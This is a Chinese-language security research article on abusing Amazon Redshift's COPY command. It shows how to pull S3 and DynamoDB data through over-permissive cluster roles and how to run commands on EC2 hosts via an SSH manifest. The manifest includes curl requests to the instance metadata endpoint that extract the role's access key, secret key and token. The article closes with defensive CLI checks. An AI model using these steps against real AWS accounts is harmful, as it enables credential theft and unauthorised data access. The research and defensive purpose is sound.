Amazon Redshift - 復制風險
Amazon Redshift是云端完全管理的PB級數據倉庫服務,專門為在線分析處理(OLAP)和商業智能(BI)應用程序設計,這些應用程序需要對大型數據集進行復雜的查詢。
Redshift是一個強大的服務,與許多數據源集成,其中一些可能包括敏感信息。因此,了解服務之間的聯系和潛在的攻擊面很重要。
在這篇文章中,我們將研究攻擊者可能使用Redshift COPY命令訪問你的敏感數據的幾種方式。
Redshift管理著數據倉庫的創建、運行和擴展過程。它提供了與存儲在S3或DynamoDB,以及使用Redshift Spectrum的Athena和Glue的數據互動的選項。該服務是基于PostgreSQL的,但一些命令的實現方式不同。
為什么Redshift需要角色?
如上所述,Redshift可以與許多AWS服務集成。為了做到這一點,它使用與集群相關的角色。最經典的例子是從S3桶中加載數據。
Redshift使用 "COPY"命令。COPY命令利用亞馬遜Redshift的大規模并行處理(MPP)架構,從數據文件中并行地讀取和加載數據。這些文件可以位于亞馬遜簡單存儲服務(Amazon S3)桶、亞馬遜EMR集群或使用安全殼(SSH)連接訪問的遠程主機中。
Redshift允許集群內最多有50個IAM角色(在這里提到的幾個AWS地區最多有10個)。這個選項允許使用任何一個角色來執行多個數據處理,但是如果一個錯誤的策略被附加到其中一個角色,可能會導致過度的數據訪問。
在下面兩個例子中,我們將研究攻擊者如何訪問存儲在S3和DynamoDB的數據。
我們將使用一個簡單的.csv文件,包括客戶記錄(ID、姓名、城市、國家和職業)。我們在集群內關聯了兩個角色。
- 角色1:包含一個與S3相關的內聯策略
- 角色2:包含一個與DynamoDB相關的內聯策略
使用Redshift來讀取S3內容
Redshift實現了從S3加載數據并使用SQL進行分析的能力。使用COPY命令加載數據的一般模板看起來像這樣:
模板如下所示:
copy from 's3:////' credentials 'aws_iam_role=arn:aws:iam:::role/' options;
為了成功地使用COPY命令,COPY必須有對桶的LIST訪問權限和對桶對象的GET訪問權限。在這個例子中,我們使用 "Role1"和以下策略:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:ListBucket"
],
"Resource": "*"
}
]
}
為了讀取customer.csv的所有內容,我們輸入以下命令:
copy customers from 's3://customers-bucket-1/load/customers.csv' iam_role 'arn:aws:iam::123456789111:role/Role1' DELIMITER ',' IGNOREHEADER 1;

我們可以看到,數據被成功加載到 "customers "表中。下一步是查詢數據。使用一個簡單的SQL命令--'SELECT * FROM customers;'我們就可以看到所有的數據:

使用Redshift來讀取DynamoDB表
正如亞馬遜的文檔中提到的,Redshift也準許享有從DynamoDB加載數據的權限。
要做到這一點,攻擊者首先需要了解DynamoDB中有哪些可用的表。攻擊者還需要使用AWS CLI的以下命令列出所有可用的表。
aws dynamodb list-tables
為了演示如何從DynamoDB加載數據,我們將使用上面例子中的同一個數據集。該數據集的列值和它們的數據類型可以使用以下AWS CLI命令進行檢查。
aws dynamodb scan --table-name customers

每個屬性值以 name-value 鍵值對的形式描述。name 是數據類型,value 是數據本身。名稱'S'代表字符串(其他可選的數據類型可以是'N'-數字,'B'-二進制,'SS'-字符串集,等等)。
現在我們對數據類型有了更好的理解,我們可以繼續在Redshift中創建表。新表將被稱為 "newcustomers"。

為了從DynamoDB讀取數據,我們將使用這個模板:
copy from 'dynamodb://' authorization readratio '';
授權的值是訪問Amazon DynamoDB表所需的AWS憑證。用戶必須有權限對正在加載的Amazon DynamoDB表進行掃描和描述。
附加到'Role2'的策略:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"dynamodb:DescribeTable",
"dynamodb:Scan"
],
"Resource": "*"
}
]
}
我們修改了模板為:

現在,數據已被加載到表中,攻擊者可以簡單地使用SQL進行查詢:
SELECT * FROM newcustomers;

使用Redshift在EC2實例上運行命令
"COPY"命令也可以用來從遠程主機加載數據,比如EC2實例或其他計算機。COPY使用SSH連接到遠程主機,并在遠程主機上運行命令以生成文本輸出。遠程主機可以是亞馬遜EC2的Linux實例,或者其他配置為接受SSH連接的Unix計算機。
要連接到遠程主機并運行命令,攻擊者需要制作一個包含主機和命令的端點詳細信息的清單文件。
該清單文件的格式如下:
{
"entries":
[
{
"endpoint": "",
"command": "",
"mandatory": true,
"publickey": "",
"username": ""
}
]
}
在下面的例子中,我們將嘗試提取附屬于我們EC2實例的角色的憑證。為此,我們精心制作了下面的清單文件,其中包括以下條目:
{
"entries":
[
{
"endpoint": "ec2-11-222-333-44.compute-1.amazonaws.com",
"command": "curl -fsS http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"mandatory": true,
"username": "ec2-user"
}
]
}
該命令可以是任何命令,從簡單的echo命令到查詢數據庫或啟動腳本。在這個例子中,由于我們試圖提取憑證,我們使用命令查詢EC2實例的元數據。
curl -fsS http://169.254.169.254/latest/meta-data/iam/security-credentials/
為了成功從實例中加載數據,我們首先需要在Redshift集群中創建一個表使用以下命令:
創建metadata表(數據文本);

要使用清單文件,必須將其上傳至S3桶。在本例中,該文件被上傳到一個名為 "dana-redshift-research "的桶中。
接下來,我們使用復制命令來加載清單,并使用以下命令創建SSH連接:
copy metadata from 's3://dana-redshift-research/ssh_manifest' iam_role 'arn:aws:iam::123456789111:role/Role1' TRUNCATECOLUMNS ssh;
我們收到了一條確認信息,即數據已成功加載:

現在,我們可以通過查詢該表來檢查附屬于EC2實例的角色。

很好! 現在我們有了角色,我們可以使用第一個清單文件中使用的curl命令,但在URL的末尾加上角色:
{
"entries":
[
{
"endpoint": " ec2-11-222-333-44.compute-1.amazonaws.com",
"command": "curl -fsS http://169.254.169.254/latest/meta-data/iam/security-credentials/dana-redshift-role",
"mandatory": true,
"username": "ec2-user"
}
]
}
在將文件上傳到S3桶后,重復最后兩個命令,即使用復制命令加載數據和查詢表,我們最終可以得到access key, secret access key, 和 token。

有了這些憑證,攻擊者可以使用AWS配置和訪問資產來配置配置文件。
總結
Redshift是一項分析結構化和半結構化數據的偉大服務。
重要的是要了解該服務是如何工作的,以防止對敏感數據進行不必要的訪問,因此,必須注意與集群相關的角色及其政策。
如何檢查你的環境?
先決條件:
- AWS CLI
- JQ
檢查哪些角色與你的Redshift集群有關聯:
aws redshift describe-clusters | jq '.Clusters[] | .ClusterIdentifier, .IamRoles'
檢查哪些EC2實例包含Amazon Redshift公鑰:
aws ssm send-command --document-name "AWS-RunShellScript" --targets --parameters '{"commands":["#/bin/bash","cd .ssh && cat authorized_keys"],"workingDirectory":["/home/"],"executionTimeout":["3600"]}'
其中 --targets是用逗號分隔的EC2實例列表,是實例的用戶名(通常是 "ec2-user")。
一旦該命令被執行:
aws ssm get-command-invocation --command-id --instance-id | jq '. as $p | .StandardOutputContent as $d | select($d | contains("Amazon-Redshift")) | if . then {"result": true, "match": .InstanceId} else {"result": false} end'
如果實例包含Redshift集群的公鑰,那么輸出將是:
{
"result": true,
"match": ""
}
如果實例不包含Redshift集群的公鑰,就不會有輸出。